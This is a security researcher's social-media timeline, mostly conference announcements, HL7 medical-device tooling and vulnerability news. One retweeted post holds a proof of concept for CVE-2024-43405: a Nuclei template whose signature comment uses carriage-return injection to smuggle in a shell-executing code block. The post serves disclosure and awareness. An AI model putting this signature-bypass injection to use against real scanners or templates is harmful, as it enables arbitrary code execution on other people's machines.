KT

Head of ASM @SRMInform 🦓 ASM all the things, BioHacking 🩺 DC31 Speaker ☠️ Tweets are my own

[KT @J3lly____]

Hello @brucon 👋🏻

[Nagli @galnagli]

How many of you realize how easy it is to get popped by running a random @pdnuclei templates? Even signed ones aren’t safe – it’s only a matter of time before this becomes a real attack vector 😏

PoC for CVE-2024-43405

id: benign-template
info:
name: Valid Template Example
author: Wiz Research
severity: Critical

# digest: <valid-signature> (whatever exists)
# digest: <injected-signature>\rcode:\r\r engine:\r - sh\r source: |\r echo "This is injected and executed!" > /tmp/payload.txt

[S-RM | Intelligence. Resilience. Response. @SRMInform]

Katie Inns, S-RM's Head of Attack Surface Management (ASM), shares her insight into the importance of ASM in keeping organisations safe from cyber attacks.
https://t.co/QOK7QQi1WU
#AttackSurfaceManagement #Cybersecurity #Cloud #ShadowIT

[KT @J3lly____]

Thanks to everyone that came along to my talk @44CON, you can find my blog post on the topic here: https://t.co/5fRRk1vGkf and HL7Magic here: https://t.co/kxCMSguDAR

[KT @J3lly____]

@44CON it’s been a pleasure, even after the last minute changes of schedule 😅 🫶🏼

[Biohacking Village 🧪 @DC_BHV]

It's World Patient Safety Day 2024! 🏥 This years focus- Improving Diagnosis for #PatientSafety.
You guys know we're dedicated to innovation &amp; cybersecurity to enhance #healthcare safety!
Read: https://t.co/wwM82Ppt7N

#WorldPatientSafetyDay #Cybersecurity #HealthcareInnovation

[KT @J3lly____]

@shodanhq Is this open-source? If so do you have a link to the repo please? :)

[KT @J3lly____]

Make sure to check out the rest of the speakers! https://t.co/XeJAmdLtTJ

[KT @J3lly____]

Excited to be speaking at @44CON in September! I'll be brining HL7Magic back for a special extended edition ✨

[KT @J3lly____]

@44CON was my first ever conference, 7 years ago! I remember being completely blown away and having no clue what anyone was talking about 🤣

[Blue Team News @blueteamsec1]

hl7magic: A Burp extension to allow for easy modification of HL7 messages sent to and from medical devices. https://t.co/B9mZLVf6rL #cyber #threathunting #infosec

[WithSecure™ @WithSecure]

4 days to go!

Join our webinar in which we will:
💬 Discuss the importance of exposure management to mid-market security professionals
👀 Look into attack surface issues and exposure management’s role
🔎 Explore risk appetite and regulation issues

🖋https://t.co/1549HXDTjv

[KT @J3lly____]

Made it to @riskybusiness news 🙊 https://t.co/Bp6kAynLaD

[KT @J3lly____]

Finally got round to publishing the tool and accompanying blog post on my HL7/medical device research, presented at DC31 https://t.co/5fRRk1vGkf https://t.co/DCHNCEk47f #healthcare #medtech #DEFCON @defcon

[WithSecure™ @WithSecure]

@snyksec has discovered a new container breakout, known as CVE-2024-21626

Check out WithSecure Labs for more about the proof of concept and its demos for the docker / kubernetes / CI/CD environments:
https://t.co/UFPdEhRIWJ

[WithSecure™ @WithSecure]

Applications for our UK Cyber Security Internship are now open, so why not spend the summer developing your hacking skills and gaining hands-on experience working with our cyber security specialists?

Apply by March 15!

https://t.co/hnsW40616p

[KT @J3lly____]

Wowzers...

[BleepingComputer @BleepinComputer]

CISA orders federal agencies to disconnect Ivanti VPN appliances by Saturday - @serghei
https://t.co/Z41MIlkNDG

https://t.co/Z41MIlkNDG

[Nuclei by ProjectDiscovery @pdnuclei]

Scan for Jenkins < 2.441 - Arbitrary File Read (CVE-2024-23897) using nuclei templates.

Vulnerability Advisory -https://t.co/xGScQcwH7k

Vulnerability Analysis - https://t.co/hFJphgv8UR by @Sonar_Research

Nuclei Template - https://t.co/GiJcmReEXX

#hackwithautomation #bugbounty #cybersecurity

[The Shadowserver Foundation @Shadowserver]

As of 2024-01-18 we are scanning for NextGen Healthcare Mirth Connect appliances vulnerable to CVE-2023-43208 (pre-auth RCE). We see 441 vulnerable (2024-01-22 scan). Data shared in https://t.co/qxv0Gv6cAK

Make sure to upgrade to latest version: https://t.co/Aurvi2tUjP

[KT @J3lly____]

Noice 👌
https://t.co/rExuv8gmIz